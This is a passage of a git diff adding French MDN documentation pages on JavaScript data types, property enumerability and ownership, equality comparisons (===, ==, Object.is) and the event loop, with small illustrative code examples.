Un objet JavaScript est un ensemble de correspondances entre des clés et des valeurs. Les clés sont représentées par des chaînes ou des symboles ({{jsxref("Symbol")}}). Les valeurs peuvent être de n'importe quel type. Grâce à cela, les objets peuvent, naturellement, être utilisés comme tables de hachage.

+ +

Les fonctions sont des objets classiques à la seule différence qu'on peut les appeler.

+ +

Les dates

+ +

Lorsqu'on souhaite représenter des dates, il est tout indiqué d'utiliser le type utilitaire natif Date de JavaScript.

+ +

Les collections indexées : les tableaux (Arrays) et les tableaux typés (Typed Arrays)

+ +

Les tableaux (ou Arrays en anglais) sont des objets natifs qui permettent d'organiser des valeurs numérotées et qui ont une relation particulière avec la propriété length. De plus, les tableaux héritent de Array.prototype qui permet de bénéficier de plusieurs méthodes pour manipuler les tableaux. Par exemple, indexOf qui permet de rechercher une valeur dans le tableau ou push qui permet d'ajouter un élément au tableau. Les tableaux sont donc indiqués quand on souhaite représenter des listes de valeurs ou d'objets.

+ +

Les tableaux typés (Typed Arrays en anglais) ont été ajoutés avec ECMAScript 6 et offrent une vue sous forme d'un tableau pour manipuler des tampons de données binaires. Le tableau qui suit illustre les types de données équivalents en C :

+ +

{{page("fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray", "Les_objets_TypedArray", "", 0, 3)}}

+ +

Les collections avec clés : Maps, Sets, WeakMaps, WeakSets

+ +

Ces structures de données utilisent des clés pour référencer des objets. Elles ont été introduites avec ECMAScript 6. {{jsxref("Set")}} et {{jsxref("WeakSet")}} représentent des ensembles d'objets, {{jsxref("Map")}} et {{jsxref("WeakMap")}} associent une valeur à un objet. Il est possible d'énumérer les valeurs contenues dans un objet Map mais pas dans un objet WeakMap. Les WeakMaps quant à eux permettent certaines optimisations dans la gestion de la mémoire et le travail du ramasse-miettes.

+ +

Il est possible d'implémenter les Maps et Sets grâce à ECMAScript 5. Cependant, comme les objets ne peuvent pas être comparés (avec une relation d'ordre par exemple), la complexité obtenue pour rechercher un élément serait nécessairement linéaire. Les implémentations natives (y compris celle des WeakMaps) permettent d'obtenir des performances logarithmiques voire constantes.

+ +

Généralement, si on voulait lier des données à un nœud DOM, on pouvait utiliser les attributs data-* ou définir les propriétés à un même l'objet. Malheureusement, cela rendait les données disponibles à n'importe quel script fonctionnant dans le même contexte. Les Maps et WeakMaps permettent de gérer plus simplement une liaison « privée » entre des données et un objet.

+ +

Les données structurées : JSON

+ +

JSON (JavaScript Object Notation) est un format d'échange de données léger, dérivé de JavaScript et utilisé par plusieurs langages de programmation. JSON permet ainsi de construire des structures de données universelles pouvant être échangées entre programmes. Pour plus d'informations, voir les pages {{Glossary("JSON")}} et {{jsxref("JSON")}}.

+ +

Les autres objets de la bibliothèque standard

+ +

JavaScript possède une bibliothèque standard d'objets natifs. Veuillez lire la référence pour en savoir plus sur ces objets.

+ +

Déterminer le type des objets grâce à l'opérateur typeof

+ +

L'opérateur typeof peut vous aider à déterminer le type d'une variable. Pour plus d'informations et sur les cas particuliers, voir la page de la référence sur cet opérateur.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-8', 'Types')}}{{Spec2('ES5.1')}}
{{SpecName('ES2015', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}{{Spec2('ES2015')}}Ajout des symboles ({{jsxref("Symbol")}}).
{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}{{Spec2('ESDraft')}}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/enumerability_and_ownership_of_properties/index.html b/files/fr/web/javascript/enumerability_and_ownership_of_properties/index.html new file mode 100644 index 0000000000..a4d1574b35 --- /dev/null +++ b/files/fr/web/javascript/enumerability_and_ownership_of_properties/index.html @@ -0,0 +1,326 @@ +--- +title: Rattachement et caractère énumérable des propriétés +slug: Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement +tags: + - Guide + - Intermédiaire + - JavaScript +translation_of: Web/JavaScript/Enumerability_and_ownership_of_properties +--- +
{{JsSidebar("More")}}
+ +

Les propriétés dites « énumérables » sont celles pour lesquelles la caractéristique interne [[Enumerable]] vaut true. C'est le cas par défaut pour les propriétés qui sont créées grâce à une affectation simple ou grâce à un initialisateur de propriété. Les propriétés définies avec des méthodes analogues à {{jsxref("Object.defineProperty()")}} auront [[Enumerable]] à false). Les propriétés énumérables sont celles qui seront parcourues dans une boucle {{jsxref("Instructions/for...in","for..in")}} (sauf si le nom de la propriété est un {{jsxref("Symbol")}}).

+ +

Le rattachement des propriétés est détérminé selon que la propriété est directement rattachée à l'objet et non à sa chaîne de prototypes. Il est également possible de récupérer l'ensemble des propriétés d'un objet. Dans le tableau suivant, on détaille les moyens possibles pour détecter, parcourir, énumérer, récupérer les propriétés d'un objet.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Caractère énumérable et rattachement - méthodes natives pour détecter, récupérer et parcourir les propriétés
FonctionnalitéRattachement direct à l'objetRattachement direct à l'objet et sur la chaîne de prototypesUniquement sur la chaîne de prototypes
Détection + + + + + + + + + + + + + + + +
ÉnumérablesNon-énumérablesToutes
+

propertyIsEnumerable()

+ +

hasOwnProperty()

+ 		hasOwnProperty() - en utilisant propertyIsEnumerable() afin d'exclure les propriétés énumérableshasOwnProperty()
+ 		+ + + + + + + + + + + + + + + +
ÉnumerablesNon-énumérablesToutes
Cette fonctionnalité n'est pas disponible sans code supplémentaire.Cette fonctionnalité n'est pas disponible sans code supplémentaire.in
+ 		Cette fonctionnalité n'est pas disponible sans code supplémentaire.
Récupération + + + + + + + + + + + + + + + +
ÉnumérablesNon-énumérablesToutes
+

Object.keys()

+ +

getOwnPropertyNames()

+ +

getOwnPropertySymbols()

+ 		getOwnPropertyNames() - getOwnPropertySymbols() en utilisant propertyIsEnumerable() afin d'exclure les propriétés énumérables +

getOwnPropertyNames()

+ +

getOwnPropertySymbols()

+
+ 		Cette fonctionnalité n'est pas disponible sans code supplémentaire.Cette fonctionnalité n'est pas disponible sans code supplémentaire.
Parcours + + + + + + + + + + + + + + + +
ÉnumérablesNon-énumérablesToutes
+

Object.keys()

+ +

getOwnPropertyNames()

+ +

getOwnPropertySymbols()

+ 		getOwnPropertyNames() - getOwnPropertySymbols()en utilisant propertyIsEnumerable() afin d'exclure les propriétés énumérables +

getOwnPropertyNames()

+ +

getOwnPropertySymbols()

+
+ 		+ + + + + + + + + + + + + + + +
ÉnumerablesNon-énumérablesToutes
for..inCette fonctionnalité n'est pas disponible sans code supplémentaire.Cette fonctionnalité n'est pas disponible sans code supplémentaire.
+ 		Cette fonctionnalité n'est pas disponible sans code supplémentaire.
+
+ +

Obtenir les propriétés selon leur caractère énumérable et selon leur rattachement

+ +

Dans la plupart des cas, ce n'est pas l'algorithme le plus efficace mais il est présenté ici à des fins explicatives.

+ +
    +
  • On peut détecter la présence d'une propriété grâce à RecuperateurDePropriete.laMethodeSouhaitee(obj).indexOf(prop) > -1
    • +
  • On peut parcourir les propriétés souhaitées avec RecuperateurDePropriete.laMethodeSouhaitee(obj).forEach(function (value, prop) {}); (on peut aussi utiliser filter(), map(), etc.)
    • +
+ +
var RecuperateurDePropriete = {
+    getOwnEnumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerable);
+         // On pourrait également utiliser for..in qu'on filtre avec hasOwnProperty
+         // ou encore : return Object.keys(obj);
+    },
+    getOwnNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._notEnumerable);
+    },
+    getOwnEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable);
+        // On peut également simplement utiliser : return Object.getOwnPropertyNames(obj);
+    },
+    getPrototypeEnumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerable);
+    },
+    getPrototypeNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._notEnumerable);
+    },
+    getPrototypeEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable);
+    },
+    getOwnAndPrototypeEnumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerable);
+        // On pourra aussi utiliser for..in sans filtre
+    },
+    getOwnAndPrototypeNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._notEnumerable);
+    },
+    getOwnAndPrototypeEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable);
+    },
+    // Fonctions de rappels statiques
+    _enumerable : function (obj, prop) {
+        return obj.propertyIsEnumerable(prop);
+    },
+    _notEnumerable : function (obj, prop) {
+        return !obj.propertyIsEnumerable(prop);
+    },
+    _enumerableAndNotEnumerable : function (obj, prop) {
+        return true;
+    },
+    // Inspirée par https://stackoverflow.com/a/8024294/271577
+    _getPropertyNames : function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) {
+        var props = [];
+
+        do {
+            if (iterateSelfBool) {
+                Object.getOwnPropertyNames(obj).forEach(function (prop) {
+                    if (props.indexOf(prop) === -1 && includePropCb(obj, prop)) {
+                        props.push(prop);
+                    }
+                });
+            }
+            if (!iteratePrototypeBool) {
+                break;
+            }
+            iterateSelfBool = true;
+        } while (obj = Object.getPrototypeOf(obj));
+
+        return props;
+    }
+};
+ +

Tableau de détection

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
infor..inobj.hasOwnProperty()obj.propertyIsEnumerable()Object.keys()Object.getOwnPropertyNames()Object.getOwnPropertyDescriptors()Reflect.ownKeys()
Propriétés énumérablestruetruetruetruetruetruetruetrue
Propriétés non-énumérablestruefalsetruefalsefalsetruetruetrue
Propriétés dont les clés sont des symbolestruefalsetruefalsefalsefalsetruetrue
Propriétés héritées et énumérablestruetruefalsefalsefalsefalsefalsefalse
Propriétés héritées et non-énumérablestruefalsefalsefalsefalsefalsefalsefalse
Propriétés héritées dont les clés sont des symbolestruefalsefalsefalsefalsefalsefalsefalse
+ +

Voir aussi

+ +
    +
  • in
    • +
  • for..in
    • +
  • {{jsxref("Object.hasOwnProperty()")}}
    • +
  • {{jsxref("Object.propertyIsEnumerable()")}}
    • +
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • +
  • {{jsxref("Object.keys()")}}
    • +
  • {{jsxref("Object.getOwnPropertyDescriptors()")}}
    • +
diff --git a/files/fr/web/javascript/equality_comparisons_and_sameness/index.html b/files/fr/web/javascript/equality_comparisons_and_sameness/index.html new file mode 100644 index 0000000000..3208ebe8bc --- /dev/null +++ b/files/fr/web/javascript/equality_comparisons_and_sameness/index.html @@ -0,0 +1,490 @@ +--- +title: Utiliser les différents tests d'égalité +slug: Web/JavaScript/Les_différents_tests_d_égalité +tags: + - Guide + - Intermédiaire + - JavaScript +translation_of: Web/JavaScript/Equality_comparisons_and_sameness +--- +
{{jsSidebar("Intermediate")}}
+ +

JavaScript fournit trois opérations permettant de comparer des valeurs :

+ +
    +
  • L'égalité stricte (ou identité ou « triple égal ») utilisant ===,
    • +
  • L'égalité faible (ou « double égal ») utilisant ==,
    • +
  • {{jsxref("Object.is")}} (ajouté avec ECMAScript 2015).
    • +
+ +

Ces trois opérations sont associées à quatre algorithmes d'égalité (depuis ES2015) :

+ + + +

Selon la comparaison qu'on souhaite effectuer, on choisira une de ces opérations.

+ +

En résumé :

+ +
    +
  • L'égalité faible (==) effectuera une conversion des deux éléments à comparer avant d'effectuer la comparaison
    • +
  • L'égalité stricte (===) effectuera la même comparaison mais sans conversion préalable (elle renverra toujours false si les types des deux valeurs comparées sont différents)
    • +
  • Enfin Object.is() se comportera comme l'égalité stricte sauf pour les valeurs NaN, -0 et +0 : pour Object.is(), -0 et +0 seront différents mais on aura Object.is(NaN, NaN) qui sera true. (Généralement, quand on compare NaN avec NaN en utilisant l'égalité stricte ou l'égalité faible, cela donne false afin de respecter la norme IEEE 754.)
    • +
+ +

On notera que pour ces trois opérations, la comparaison s'effectue sur les valeurs des éléments qu'on compare, aucune de ces opérations ne permet de comparer la structure des paramètres. Pour des objets non primitifs, x et y qui ont la même structure mais qui sont des objets distincs, chacune des opérations présentées ci-avant sera évaluée à false.

+ +

L'égalité stricte avec ===

+ +

L'égalité stricte compare deux valeurs et teste leur égalité. Aucune des valeurs n'est convertie implicitement en une autre valeur avant que la comparaison soit effectuée. Si les valeurs sont typées différemment, elles sont considérées comme différentes. Si les valeurs sont de même type et ne sont pas des nombres, elles sont considérées égales si elles ont la même valeur. Si les deux valeurs sont des nombres, elles sont égales si elles ont la même valeur et que cette valeur n'est pas NaN ou si l'une vaut +0 et l'autre -0.

+ +
var num = 0;
+var obj = new String("0");
+var str = "0";
+
+console.log(num === num); // true
+console.log(obj === obj); // true
+console.log(str === str); // true
+
+console.log(num === obj); // false
+console.log(num === str); // false
+console.log(obj === str); // false
+console.log(null === undefined); // false
+console.log(obj === null); // false
+console.log(obj === undefined); // false
+
+ +

Ce test d'égalité stricte est presque toujours la meilleure des opérations à considérer pour ces tests. Excepté pour les nombres, la sémantique utilisée est simple : une valeur est uniquement égale à elle-même. En ce qui concerne les nombres, il y a deux cas aux limites à considérer. Le premier cas concerne le nombre zéro positif ou négatif. Cela peut être utile dans la représentation de problèmes mathématiques mais ne constitue pas une différence pour de nombreuses situations : le test d'égalité stricte considère que ce sont les mêmes valeurs. Le second cas concerne la valeur « n'est pas un nombre », NaN (pour « not a number » en anglais) permettant de représenter certaines entités mathématiques : la somme des deux infinis (positif et négatif) par exemple. Le test d'égalité stricte considère que NaN est différent de toutes les valeurs, y compris lui-même. (N.B. : Le seul cas de figure pour lequel on a (x !== x) qui renvoie true est lorsque x vaut NaN.)

+ +

L'égalité faible avec ==

+ +

Le test d'égalité faible compare deux valeurs après les avoir converties en valeurs d'un même type. Une fois converties (la conversion peut s'effectuer pour l'une ou les deux valeurs), la comparaison finale est la même que celle effectuée par ===. L'égalité faible est symétrique : A == B aura toujours la même signification que B == A pour toute valeur de A et B.

+ +

La comparaison d'égalité est effectuée comme suit pour des opérandes de différents types :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Opérande B
UndefinedNullNumberStringBooleanObject
Opérande AUndefinedtruetruefalsefalsefalsefalse
Nulltruetruefalsefalsefalsefalse
NumberfalsefalseA === BA === ToNumber(B)A === ToNumber(B)A == ToPrimitive(B)
StringfalsefalseToNumber(A) === BA === BToNumber(A) === ToNumber(B)A == ToPrimitive(B)
BooleanfalsefalseToNumber(A) === BToNumber(A) === ToNumber(B)A === Bfalse
ObjectfalsefalseToPrimitive(A) == BToPrimitive(A) == BToPrimitive(A) == ToNumber(B) +

A === B

+
+ +

Dans le tableau ci-dessus, l'expression ToNumber(A) correspond à une tentative de convertir l'argument en un nombre avant la comparaison. Le résultat obtenu est équivalent à +A (l'opérateur unaire +). ToPrimitive(A) correspond à une tentative de convertir l'argument en une valeur primitive grâce à plusieurs méthodes comme A.toString et A.valueOf.

+ +

Selon ECMAScript, au sens de l'égalité faible, tous les objets sont différents de undefined et de null. Cependant, la plupart des navigateurs autorisent, dans certains contextes, unensemble restreint d'objets (notamment l'objet document.all), à agir comme s'ils émulaient la valeur undefined. L'égalité faible est un de ces contextes. Pour tous les autres cas, un objet ne sera jamais approximativement égal à undefined ou à null.

+ +
var num = 0;
+var obj = new String("0");
+var str = "0";
+
+console.log(num == num); // true
+console.log(obj == obj); // true
+console.log(str == str); // true
+
+console.log(num == obj); // true
+console.log(num == str); // true
+console.log(obj == str); // true
+console.log(null == undefined); // true
+
+// Les deux assertions qui suivent sont fausses
+// sauf dans certains cas exceptionnels
+console.log(obj == null);
+console.log(obj == undefined);
+
+ +

Certains développeurs considèrent que ce n'est jamais une bonne idée d'utiliser l'égalilté faible. Le résultat d'une comparaison utilisant l'égalité stricte est plus simple à appréhender et à prédire, de plus il n'y a aucune conversion implicite ce qui rend le test plus rapide.

+ +

Égalité de valeurs

+ +

L'égalité de valeurs répond à un dernier cas d'utilisation : savoir si deux valeurs sont fonctionnellement identiques pour tout contexte. (Ce cas d'utilisation est un exemple du principe de substitution de Liskov). On retrouve ce cas lorsqu'on essaie de changer une propriété immuable :

+ +
// Ajouter la propriété immuable NEGATIVE_ZERO au constructor Number.
+Object.defineProperty(Number, "NEGATIVE_ZERO",
+                      { value: -0, writable: false, configurable: false, enumerable: false });
+
+function attemptMutation(v) {
+  Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v });
+}
+
+ +

Object.defineProperty lancera une exception pour tout changement de la propriété qui serait réellement un changement. Rien ne se passera si aucun changement n'est nécessaire. Ainsi, si v vaut -0, aucun changement n'est nécessaire et il n'y aura pas d'erreur. Mais si v vaut +0, Number.NEGATIVE_ZERO n'aurait plus la même valeur immuable. De façon interne à l'implémentation, la nouvelle valeur est comparée avec la valeur courante en utilisant une égalité de valeurs.

+ +

L'égalité de valeurs peut être testée grâce à la méthode {{jsxref("Object.is")}}.

+ +

Égalité de valeurs nulles

+ +

On utilise la même égalité que l'égalité de valeur et on considère que +0 et -0 sont égaux.

+ +

Égalité abstraite, égalité stricte et valeurs identiques : la spécification

+ +

Selon ES5, la comparaison effectuée par == est décrite dans la section 11.9.3 sur l'algorithme d'égalité abstraite (Abstract Equality Algorithm). La comparaison donnée par === est décrite dans la section 11.9.6 sur l'algorithme d'égalité stricte (Strict Equality Algorithm). Ces documents sont en anglais mais sont tout à fait abordables, ne pas hésiter à les consulter (conseil : d'abord commencer par l'algorithme d'égalité stricte). ES5 décrit également, dans la section 9.12 sur l'algorithme SameValue, l'opération utilisée en interne par le moteur JavaScript. Cet algorithme est principalement basé sur l'algorithme d'égalité stricte : 11.9.6.4 et 9.12.4 diffèrent en ce qui concerne les nombres. ES6 (ECMAScript 2015) permet d'utiliser cet algorithme grâce à la méthode {{jsxref("Object.is")}}.

+ +

Dans ces documents, on peut voir que l'algorithme d'égalité stricte est un sous-ensemble de l'algorithme d'égalité abstraite (exception faite de la vérification du type) car 11.9.6.2–7 correspond exactement à 11.9.3.1.a–f.

+ +

Un modèle pour mieux comprendre ?

+ +

Avant ES6 (ECMAScript 2015), il était courant de dire que l'égalité stricte avec le triple égal était une version « améliorée » de l'égalité faible (double égal) et vice versa. En effet, l'égalité faible ajoute une étape de conversion des types qui n'est pas fournie par l'égalité stricte (ce qui permet d'avoir 6 == "6"). On peut aussi dire que l'égalité stricte est une version améliorée de l'égalité simple car elle ajoute une fonctionnalité de vérification des types. Selon votre approche et votre problème, une de ces égalités se prêtera mieux à la résolution.

+ +

Cependant, ce « modèle de pensées » ne peut pas être étendu avec l'arrivée d'{{jsxref("Object.is")}} avec ES6 (ECMAScript 2015). En effet Object.is() n'est pas plus « faible » que l'égalité faible ou plus « stricte » que l'égalité stricte et il n'est pas non plus quelque part entre les deux. Dans le tableau de comparaison ci-après, on voit que la différence provient avant tout de la façon dont {{jsxref("Object.is")}} gère {{jsxref("NaN")}}. On note ici que si Object.is(NaN, NaN) valait false, on pourrait dire qu'Object.is() est plus stricte que == ou === car elle distingue -0 et +0. Cependant, ce n'est pas le cas et on a bien Object.is(NaN,NaN) qui vaut true. C'est pour cette raison qu'il faut considérer {{jsxref("Object.is")}} selon ses caractéristiques spécifiques plutôt que comme une version plus faible ou plus stricte des autres opérateurs d'égalité.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Comparaisons d'égalité
xy=====Object.isSameValueZero
undefinedundefinedtruetruetruetrue
nullnulltruetruetruetrue
truetruetruetruetruetrue
falsefalsetruetruetruetrue
'toto''toto'truetruetruetrue
00truetruetruetrue
+0-0truetruefalsetrue
+00truetruetruetrue
-00truetruefalsetrue
0falsetruefalsefalsefalse
""falsetruefalsefalsefalse
""0truefalsefalsefalse
'0'0truefalsefalsefalse
'17'17truefalsefalsefalse
[1, 2]'1,2'truefalsefalsefalse
new String('toto')'toto'truefalsefalsefalse
nullundefinedtruefalsefalsefalse
nullfalsefalsefalsefalsefalse
undefinedfalsefalsefalsefalsefalse
{ toto: 'truc' }{ toto: 'truc' }falsefalsefalsefalse
new String('toto')new String('toto')falsefalsefalsefalse
0nullfalsefalsefalsefalse
0NaNfalsefalsefalsefalse
'toto'NaNfalsefalsefalsefalse
NaNNaNfalsefalsetruetrue
+ +

Quand utiliser {{jsxref("Object.is")}} et quand utiliser l'égalité stricte

+ +

En plus de la façon dont {{jsxref("Object.is")}} traite NaN, la spécificité d'Object.is() réside dans sa façon de traiter les valeurs proches de zéro. Dans des cas d'utilisation où on a besoin d'effectuer de la méta-programmation, notamment pour imiter certaines caractéristiques de {{jsxref("Object.defineProperty")}}. Si le scénario d'utilisation ne nécessite pas ce comportement, il est conseillé d'utiliser ===. Même si on souhaite pouvoir comparer NaN avec lui-même et que ce test vaille true, il sera plus simple d'utiliser la méthode {{jsxref("isNaN")}} disponible avec les versions antérieures d'ECMAScript. En effet, cela évite d'avoir à traiter des cas plus complexes où il faudrait gérer les signes des zéros dans les différentes comparaisons.

+ +

Voici une liste (non exhaustive) d'opérateurs et de méthodes natives qui peuvent entraîner l'apparition des valeurs -0 et +0 dans le code :

+ +
+
- (négation unaire)
+
+ +
+
+

Si on prend l'opposé de 0, on aura, bien entendu,-0. Cependant, avec les expressions, cela peut faire que la valeur -0 se glisse dans les variables sans qu'on s'en rende compte. Par exemple :

+ + 
let forceArrêt = obj.masse * -obj.vitesse
+ +

Si obj.vitesse vaut 0 (ou est évalué à 0), un -0 sera introduit, ce qui fera que forceArrêt pourra être négative.

+
+
+ +
+
{{jsxref("Math.atan2")}}
+ {{jsxref("Math.ceil")}}
+ {{jsxref("Math.pow")}}
+ {{jsxref("Math.round")}}
+
+ +
+
Ces méthodes peuvent introduire -0 dans une expression lors de leur évaluation, même si -0 ne faisait pas partie des paramètres. Par exemple, si on utilise Math.pow() pour élever {{jsxref("Infinity", "-Infinity")}} à une puissance négative, on obtiendra -0 pour une puissance impaire. Pour plus de détails, voir la documentation de chaque méthode.
+
+ +
+
{{jsxref("Math.floor")}}
+ {{jsxref("Math.max")}}
+ {{jsxref("Math.min")}}
+ {{jsxref("Math.sin")}}
+ {{jsxref("Math.sqrt")}}
+ {{jsxref("Math.tan")}}
+
+ +
+
Ces méthodes peuvent renvoyer -0 dans certains cas où -0 est passé en paramètre. Par exemple, Math.min(-0, +0) fournira -0. Pour plus de détails, voir la documentation de chaque méthode.
+
+ +
+
~
+
<<
+
>>
+
Chacun de ces opérateurs utilise l'algorithme ToInt32 interne au moteur JavaScript. Étant donné qu'il n'y a qu'une seule représentation pour 0 sur les entiers exprimés avec le type interne sur 32 bits, -0 ne sera pas invariant pour deux opérations symétriques : Object.is(~~(-0), -0) et Object.is(-0 << 2 >> 2, -0) renverront tous les deux false.
+
+ +

Si on utilise {{jsxref("Object.is")}} et qu'on ne souhaite pas gérer les cas aux limites autour de zéro, cela peut avoir des effet indésirés. En revanche, si on souhaite effectivement comparer -0 et +0, c'est la méthode à adopter.

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/eventloop/index.html b/files/fr/web/javascript/eventloop/index.html new file mode 100644 index 0000000000..9924edecec --- /dev/null +++ b/files/fr/web/javascript/eventloop/index.html @@ -0,0 +1,154 @@ +--- +title: Gestion de la concurrence et boucle des événements +slug: Web/JavaScript/Concurrence_et_boucle_des_événements +tags: + - Avancé + - Guide + - JavaScript +translation_of: Web/JavaScript/EventLoop +--- +
{{jsSidebar("Advanced")}}
+ +

JavaScript gère la concurrence grâce à une « boucle d'événements ». Ce modèle est différent de la gestion faite par des langages comme C ou Java.

+ +

Notions liées à l'exécution

+ +

Les sections qui suivent décrivent un modèle théorique. En réalité, les moteurs JavaScript implémentent et optimisent fortement la sémantique décrite ici.

+ +

Représentation visuelle

+ +

Stack, heap, queue

+ +

La pile d'appels (stack)

+ +

Les appels de fonction forment une pile de cadre (frames).

+ +
function f(b){
+  var a = 12;
+  return a + b + 35;
+}
+
+function g(x){
+  var m = 4;
+  return f(m * x);
+}
+
+console.log(g(21)); // affichera 131
+
+ +

Lors de l'appel à g, on crée un premier cadre contenant les arguments de g ainsi que les variables locales. Quand g appelle f, un deuxième cadre est créé et placé sur le premier et contient les arguments de f ainsi que les variables locales. Lorsque f a fini et renvoyé son résultat, le cadre correspondant (celui qui est sur le dessus) est retiré de la pile (il reste donc le cadre lié à l'appel de g). Quand g a fini grâce aux informations transmises, la pile devient vide.

+ +

Le tas (heap)

+ +

Les objets sont alloués en mémoire dans un tas qui désigne une zone de la mémoire sans structure particulière.

+ +

La file (queue)

+ +

Un environnement d'exécution JavaScript (runtime) contient une queue de messages à traiter. Chaque message est associé à une fonction. Lorsque la pile est vide ou a suffisamment d'espace, on retire un message de la queue et on le traite. Le traitement consiste à appeler la fonction associée au message (et donc à créer le cadre dans la pile d'appel). Le traitement d'un message est fini lorsque la pile d'appels redevient vide.

+ +

La boucle d'événements

+ +

La boucle d'événement tire principalement son nom de son implémentation. Celle-ci ressemble à :

+ +
while (queue.attendreMessage()){
+  queue.traiterProchainMessage();
+}
+ +

queue.attendreMessage est un fonction synchrone qui attend un message même s'il n'y en a aucun à traiter.

+ +

Traiter de A à Z (run-to-completion)

+ +

Chaque message sera traité complètement avant tout autre message. Cela permet de savoir que, lorsqu'une fonction s'exécute, on ne peut pas observer l'exécution d'un autre code qui prendrait le pas (modifiant les données de la fonction par exemple). Le modèle de thread utilisé par le langage C, par exemple, que la fonction puisse être interrompue à tout moment pour permettre à un autre thread d'exécuter un autre code.

+ +

Ce modèle possède un désavantage : lorsqu'un message prend trop de temps à être traité, l'application ne peut plus gérer les interactions utilisateur comme les clics ou le défilement. Généralement, le navigateur affiche alors « Le script met trop de temps à répondre ». Une bonne pratique consiste à rendre le traîtement de message le plus court possible et à découper le message problématique en plusieurs messages.

+ +

L'ajout de messages

+ +

Dans les navigateurs web, des messages sont ajoutés à chaque fois qu'un événement se produit et qu'un gestionnaire d'événements y est attaché. S'il n'y a pas d'écouteur (listener) pour intercepter l'événement, il est perdu. Ainsi, si on clique un élément qui possède un gestionnaire d'événements pour les clics, un message sera ajouté (il en va de même avec les autres événements).

+ +

La fonction setTimeout est appelée avec deux arguments : un message à la suite de la queue et la durée à attendre (optionnelle, par défaut elle vaut 0). La durée représente le temps minimal à attendre avant que le message soit placé dans la queue. S'il n'y a pas d'autre message dans la queue, le message sera traîté directement. En revanche, s'il y a d'autres messages auparavant, le message de setTimeout devra attendre la fin du traîtement des messages précédents déjà présents dans la queue. C'est pourquoi le deuxième argument de cette fonction indique une durée minimum et non une durée garantie.

+ +
+

Attention : L'argument passé pour le délai à setTimeout ne correspond pas au temps exact. Cela correspond au délai minimum et non à un délai garanti. Par exemple setTimeout(maFonction(),100); indique uniquement que maFonction sera lancé au moins après 100 millisecondes.

+
+ +

Voici un exemple qui illustre ce concept (setTimeout ne s'exécute pas immédiatement après la fin du timer) :

+ +
const s = new Date().getSeconds();
+
+setTimeout(function() {
+  // prints
+  console.log("Exécuté après " + (new Date().getSeconds() - s) + " secondes.");
+}, 500);
+
+while(true) {
+  if(new Date().getSeconds() - s >= 2) {
+    console.log("Ouf, on a bouclé pendant 2 secondes");
+    break;
+  }
+}
+
+ +

Zéro délai

+ +

Un délai à zéro ne signifie pas que le callback sera déclenché après zéro milliseconde. Appeler setTimeout avec un délai de 0 (zéro) milliseconde n'éxécute pas le callback après l'interval donné.

+ +

L'exécution dépend du nombre de taches en attente dans la queue. Dans l'exemple ci-dessous, le message 'ceci est juste un message' sera affiché dans la console avant que le message dans le callback soit traité, parce que le délai est le temps minimum requis par l'environnement d'exécution (runtime) pour traiter la demande (pas un temps garanti).

+ +

Fondamentalement, setTimeout doit attendre la fin de tout le code pour les messages en file d'attente, même si vous avez spécifié une limite de temps particulière pour votre setTimeout.

+ +
(function() {
+
+  console.log('ceci est le début');
+
+  setTimeout(function cb() {
+    console.log('Callback 1: ceci est un msg depuis le callback');
+  }); // has a default time value of 0
+
+  console.log('ceci est juste un message');
+
+  setTimeout(function cb1() {
+    console.log('Callback 2: ceci est un msg depuis le callback');
+  }, 0);
+
+  console.log('ceci est la fin');
+
+})();
+
+// "ceci est le début"
+// "ceci est juste un message"
+// "ceci est la fin"
+// "Callback 1: ceci est un msg depuis le callback"
+// "Callback 2: ceci est un msg depuis le callback"
+ +

La communication entre plusieurs environnements d'exécution

+ +

Un web worker ou une iframe d'origine multiple (cross origin) possède sa propre pile, son propre tas et sa propre queue de messages. Deux environnements d'exécution distincts peuvent uniquement communiquer via des messages envoyés par la méthode postMessage. Cette méthode permet d'ajouter un message à un autre environnement d'exécution si celui-ci « écoute » les événements message.

+ +

Non bloquant

+ +

Le modèle de la boucle d'événement possède une caractéristique intéressante : JavaScript, à  la différence d'autres langages, ne bloque jamais. La gestion des entrées-sorties (I/O) est généralement traitée par des événements et des callbacks. Ainsi, quand l'application attend le résultat d'une requête IndexedDB ou d'une requête XHR, il reste possible de traiter d'autres éléments comme les saisies utilisateur.

+ +

